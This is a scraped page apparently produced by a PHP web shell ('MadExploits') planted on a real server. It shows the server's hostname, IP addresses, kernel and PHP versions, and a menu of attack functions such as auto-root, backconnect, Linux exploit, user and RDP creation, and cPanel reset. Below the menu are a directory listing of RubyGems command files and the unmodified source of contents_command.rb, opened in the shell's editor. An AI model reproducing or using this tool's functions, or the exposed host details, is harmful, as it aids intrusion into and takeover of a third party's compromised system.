Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.222
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
rubygems /
rubygems /
commands /
[ HOME SHELL ]
Name
Size
Permission
Action
build_command.rb
1.48
KB
-rw-r--r--
cert_command.rb
8.31
KB
-rw-r--r--
check_command.rb
2.23
KB
-rw-r--r--
cleanup_command.rb
4.24
KB
-rw-r--r--
contents_command.rb
4.09
KB
-rw-r--r--
dependency_command.rb
5.16
KB
-rw-r--r--
environment_command.rb
4.77
KB
-rw-r--r--
fetch_command.rb
1.78
KB
-rw-r--r--
generate_index_command.rb
2.56
KB
-rw-r--r--
help_command.rb
10.15
KB
-rw-r--r--
install_command.rb
8.07
KB
-rw-r--r--
list_command.rb
940
B
-rw-r--r--
lock_command.rb
2.7
KB
-rw-r--r--
mirror_command.rb
624
B
-rw-r--r--
open_command.rb
1.79
KB
-rw-r--r--
outdated_command.rb
852
B
-rw-r--r--
owner_command.rb
2.53
KB
-rw-r--r--
pristine_command.rb
5.2
KB
-rw-r--r--
push_command.rb
2.56
KB
-rw-r--r--
query_command.rb
9.33
KB
-rw-r--r--
rdoc_command.rb
2.49
KB
-rw-r--r--
search_command.rb
885
B
-rw-r--r--
server_command.rb
2.38
KB
-rw-r--r--
setup_command.rb
17.02
KB
-rw-r--r--
signin_command.rb
872
B
-rw-r--r--
signout_command.rb
906
B
-rw-r--r--
sources_command.rb
5.21
KB
-rw-r--r--
specification_command.rb
3.31
KB
-rw-r--r--
stale_command.rb
962
B
-rw-r--r--
uninstall_command.rb
4.61
KB
-rw-r--r--
unpack_command.rb
4.84
KB
-rw-r--r--
update_command.rb
6.97
KB
-rw-r--r--
which_command.rb
2.17
KB
-rw-r--r--
yank_command.rb
2.3
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : contents_command.rb
# frozen_string_literal: true require 'English' require 'rubygems/command' require 'rubygems/version_option' class Gem::Commands::ContentsCommand < Gem::Command include Gem::VersionOption def initialize super 'contents', 'Display the contents of the installed gems', :specdirs => [], :lib_only => false, :prefix => true, :show_install_dir => false add_version_option add_option( '--all', "Contents for all gems") do |all, options| options[:all] = all end add_option('-s', '--spec-dir a,b,c', Array, "Search for gems under specific paths") do |spec_dirs, options| options[:specdirs] = spec_dirs end add_option('-l', '--[no-]lib-only', "Only return files in the Gem's lib_dirs") do |lib_only, options| options[:lib_only] = lib_only end add_option( '--[no-]prefix', "Don't include installed path prefix") do |prefix, options| options[:prefix] = prefix end add_option( '--[no-]show-install-dir', 'Show only the gem install dir') do |show, options| options[:show_install_dir] = show end @path_kind = nil @spec_dirs = nil @version = nil end def arguments # :nodoc: "GEMNAME name of gem to list contents for" end def defaults_str # :nodoc: "--no-lib-only --prefix" end def description # :nodoc: <<-EOF The contents command lists the files in an installed gem. The listing can be given as full file names, file names without the installed directory prefix or only the files that are requireable. EOF end def usage # :nodoc: "#{program_name} GEMNAME [GEMNAME ...]" end def execute @version = options[:version] || Gem::Requirement.default @spec_dirs = specification_directories @path_kind = path_description @spec_dirs names = gem_names names.each do |name| found = if options[:show_install_dir] then gem_install_dir name else gem_contents name end terminate_interaction 1 unless found or names.length > 1 end end def files_in spec if spec.default_gem? then files_in_default_gem spec else files_in_gem spec end end def files_in_gem spec gem_path = spec.full_gem_path extra = "/{#{spec.require_paths.join ','}}" if options[:lib_only] glob = "#{gem_path}#{extra}/**/*" prefix_re = /#{Regexp.escape(gem_path)}\// Dir[glob].map do |file| [gem_path, file.sub(prefix_re, "")] end end def files_in_default_gem spec spec.files.map do |file| case file when /\A#{spec.bindir}\// [RbConfig::CONFIG['bindir'], $POSTMATCH] when /\.so\z/ [RbConfig::CONFIG['archdir'], file] else [RbConfig::CONFIG['rubylibdir'], file] end end end def gem_contents name spec = spec_for name return false unless spec files = files_in spec show_files files true end def gem_install_dir name spec = spec_for name return false unless spec say spec.gem_dir true end def gem_names # :nodoc: if options[:all] then Gem::Specification.map(&:name) else get_all_gem_names end end def path_description spec_dirs # :nodoc: if spec_dirs.empty? then "default gem paths" else "specified path" end end def show_files files files.sort.each do |prefix, basename| absolute_path = File.join(prefix, basename) next if File.directory? absolute_path if options[:prefix] then say absolute_path else say basename end end end def spec_for name spec = Gem::Specification.find_all_by_name(name, @version).last return spec if spec say "Unable to find gem '#{name}' in #{@path_kind}" if Gem.configuration.verbose then say "\nDirectories searched:" @spec_dirs.sort.each { |dir| say dir } end return nil end def specification_directories # :nodoc: options[:specdirs].map do |i| [i, File.join(i, "specifications")] end.flatten end end
Close